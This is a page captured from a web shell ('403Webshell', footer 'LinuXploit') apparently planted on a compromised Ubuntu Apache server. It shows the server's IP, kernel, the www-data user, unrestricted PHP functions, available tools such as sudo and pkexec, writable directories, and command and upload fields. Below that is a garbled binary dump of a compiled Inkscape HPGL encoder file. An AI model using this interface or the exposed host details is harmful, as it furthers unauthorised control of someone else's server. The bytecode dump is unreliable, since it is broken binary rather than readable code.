403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/hpgl_encoder.cpython-310.pyc
o

0�a�K�@s�dZddlZddlZddlZddlmZmZmZddlm	Z	Gdd�de
�Ze�dej
�Ze�dej
�Ze�d	ej
�ZGd
d�de�ZdS)z
Base class for HGPL Encoding
�N)�	Transform�DirectedLineSegment�Vector2d)�	cspsubdivc@seZdZdZdS)�NoPathErrorzRaise that paths not selectedN)�__name__�
__module__�__qualname__�__doc__�rr�./usr/share/inkscape/extensions/hpgl_encoder.pyrsrz\s*pen\s*(\d+)\s*z\s*speed\s*(\d+)\s*z\s*force\s*(\d+)\s*c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�hpglEncoderzHPGL Encoder, used by otherscCs�|j|_|j|_|j�|j�d��|_|j�|j�d��|_d|_d|_d|_	d|_
d|_d|_gd�|_
d|_d|_d|_d|_d|_|jj|j�d	�|_|jj|j�d	�|_|j|jd
}|j�t|jj�d�||_|j�t|jj�d�||_|jjd|jj|jjd
|_|jd
kr�|j|jd|_nd
|_|jjr�dnd|_|jjr�dnd|_d|_d|_|j� �}|r�|d
r�|dr�|j|j�|j�!|d
��|_|j|j�|j�!|d��|_dSdSdSdS)a� options:
                "resolutionX":float
                "resolutionY":float
                "pen":int
                "force:int
                "speed:int
                "orientation":string // "0", "90", "-90", "180"
                "mirrorX":bool
                "mirrorY":bool
                "center":bool
                "flat":float
                "overcut":float
                "toolOffset":float
                "precut":bool
                "autoAlign":bool
        �width�height��FalseT)rrr���rz1.0in��mmi��g@g�g�?��N)"�options�svg�doc�unittouu�get�docWidth�	docHeight�hpgl�divergenceX�divergenceY�sizeX�sizeY�dryRun�	lastPoint�lastPen�	lastSpeed�	lastForce�offsetX�offsetY�resolutionX�scaleX�resolutionY�scaleY�str�overcut�
toolOffset�flat�toolOffsetFlat�mirrorX�mirrorY�viewBoxTransformX�viewBoxTransformY�get_viewbox�add_unit)�self�effect�scaleXY�viewBoxrrr�__init__,sL
�
�

 $�zhpglEncoder.__init__cCs�t|j|j|jddgd|j|j|jdgg�}|�t|j	j
��gd�gd�gd�gd�g|_|�|j
|�|jdksM|jdksM|jdksM|jdkrQtd��d|_|j	jrw|j	jrv|j|j|jd8_|j|j|jd8_n�d|_d|_|j	j�r|j	j
dkr�|j|j|jd8_|j|j|jd7_|j	j
dkr�|j|j|jd7_|j|j|jd7_|j	j
d	kr�|j|j|jd7_|j|j|jd8_|j	j
d
k�r|j|j|jd8_|j|j|jd8_nA|j	j
dk�r|j|j|j7_|j	j
dk�r3|j|j|j7_|j|j|j7_|j	j
d	k�rE|j|j|j7_|j	j�s`|jdk�r`|j|j7_|j|j7_t|j|j|jdt|j�|jgd|j|j|jt|j�|jgg�}|�t|j	j
��gd�gd�gd�gd�g|_|jdk�r'|j	j�r'|j	j�r|jdk�r�|j|j}n|j|j}|jdk�r�|j|j}n|j|j}|�dt||�|j	j|j	j |j	j!�|�dt|||jd
�|j	j|j	j |j	j!�n'|�dtdd�|j	j|j	j |j	j!�|�dtd|jd
�|j	j|j	j |j	j!�|�|j
|�|jdk�rD|j�sD|�dtdd�ddd�|j"S)zReturn the HPGL instructionsr)rrrrzNo paths foundFr�0�90�180�270�PU�PD�r)#rr4r,r6r5r.r7�
add_rotate�intr�orientation�vData�
process_grouprr r!r"r#rr$�	autoAlign�centerr)r*rrr1�float�precut�
processOffsetr�pen�speed�forcer)r:�	transform�precutX�precutYrrr�getHpglhs��(�
����
$0$*zhpglEncoder.getHpglcCs||D]9}t|tj�sq|��r;t|tj�r|�||�qt|tj�r)|�||�q|�|�	��}|�
�|_|�||�qdS)z,flatten layers and groups to avoid recursionN)�
isinstance�inkex�ShapeElement�
is_visible�GrouprJ�PathElement�process_path�replace_with�to_path_element�composed_transformrS)r:�grouprS�child�new_elemrrrrJ�s
��zhpglEncoder.process_groupcC�J|gt|���D]}t�|jpd�}|rt|�d��Sq	t|jj�S)z-Get pen number for node label (usually group)rr)	�list�	ancestors�FIND_PEN�search�labelrGrarrP�r:�node�parent�matchrrr�get_pen_number���zhpglEncoder.get_pen_numbercCrd)z,Get pen speed for node label (usually group)rr)	rerf�
FIND_SPEEDrhrirGrarrQrjrrr�
get_pen_speed�rozhpglEncoder.get_pen_speedcCrd)z,Get pen force for node label (usually group)rr)	rerf�
FIND_FORCErhrirGrarrRrjrrr�
get_pen_force�rozhpglEncoder.get_pen_forcec	Cs�|�|�}|�|�}|�|�}|j���|����|���}|r�t||j	�d}d}|D]�}	d}
|	D]2}|d\}}
t
t|��t
t|��ksRt
t|
��t
t|��krd|�|
t
||
�|||�d}
|}|
}q2|jdkr�|js�t
t|��t
t|	ddd��kr�t
t|��t
t|	ddd��kr�d}|	D]]}|d\}}
t
t|��t
t|��ks�t
t|
��t
t|��kr�|t
||
�||fj7}||jkr�|�t
||�t
||
�||j�}|�|
||||�n|�|
t
||
�|||�|}|
}q�q,dSdS)z-Process the given element into a plotter pathrrCrrDrN)rnrqrs�path�to_absoluterSr`�to_superpathrr2rG�roundrOrr0r$�length�changeLength)r:rkrSrPrQrRrt�oldPosX�oldPosY�
singlePath�cmd�singlePathPoint�posX�posY�
overcutLength�newEndPointrrrr]�sZ



��$$"
�
���zhpglEncoder.process_pathcCs2|j|jkr|j|jkr|Stt||��|��S)zchange length of line)�x�yrr�point_at_length)r:�p1�p2�offsetrrrryszhpglEncoder.changeLengthc
Cs|jdks|jr|�|||||�d
S|j�d�|j�d|||||g�|jdddk�r|jdddkr\|�|jdd|jdd|jdd|jdd|jdd�d
S|jdddkr�|�|jdd|jdd|j�}|�d||jdd|jdd|jdd�nc|jdddkr�|�|jdd|jdd|j�}|jdd|jdd|}|�d	||jdd|jdd|jdd�n|jdd}|�d	||jdd|jdd|jdd�|jdddk�rt|jdd|jdd�}|j|jk�r|�|j	|j
|j�}n
|�|j
|j	|j|j�}t|jdd|�j}	t|jdd|�j|	}
|
tj
k�rR|
tj
d8}
n|
tj
k�r`|
tj
d7}
|
dk�r�|	|j}||	|
k�r�|�d|jdd|jtt�|�t�|��|jdd|jdd|jdd�||j7}||	|
k�sqnC|	|j}||	|
k�r�|�d|jdd|jtt�|�t�|��|jdd|jdd|jdd�||j8}||	|
k�s�|�d||jdd|jdd|jdd�d
Sd
Sd
S)z Calculate offset correction rrrrrr�rDrCN)r1r$�
storePointrI�pop�insertryrrx�end�start�angle�math�pir3r�cos�sin)r:r}�pointrPrQrR�
pointThree�originalSegment�	pointFour�
angleStart�angleVectorr�rrrrOspH$2$ 20
���

�$�
��
�$�
�4�zhpglEncoder.processOffsetcCs�tt|j��}tt|j��}|jd|kr%|jd|kr%|jd|kr%dS|jr]|jdks2||jkr5||_|jdks?||jkrB||_|jdksL||jkrO||_|j	dksY||j	kr\||_	ns|j
jsm|dkrgd}|dkrmd}|j|kr{|j
d|7_
|j|kr�|dkr�|j
d|7_
|j|kr�|dkr�|j
d|7_
|dkr�|jddkr�|j|kr�|j
d	||f7_
n|j
d
|||f7_
||_||_||_|||g|_dS)Nrrrrz;PU;SP%dz;VS%dz;FS%drDz,%d,%dz;%s%d,%d)rGrwr�r�r%r$r r!r"r#rrLr&rr'r()r:�commandr�rPrQrRr�r�rrrr�[sD*�


 zhpglEncoder.storePointN)rrr	r
r>rVrJrnrqrsr]ryrOr�rrrrr
*s<S0Ar
)r
�rer�rX�inkex.transformsrrr�inkex.bezierr�
ValueErrorr�compile�
IGNORECASErgrprr�objectr
rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit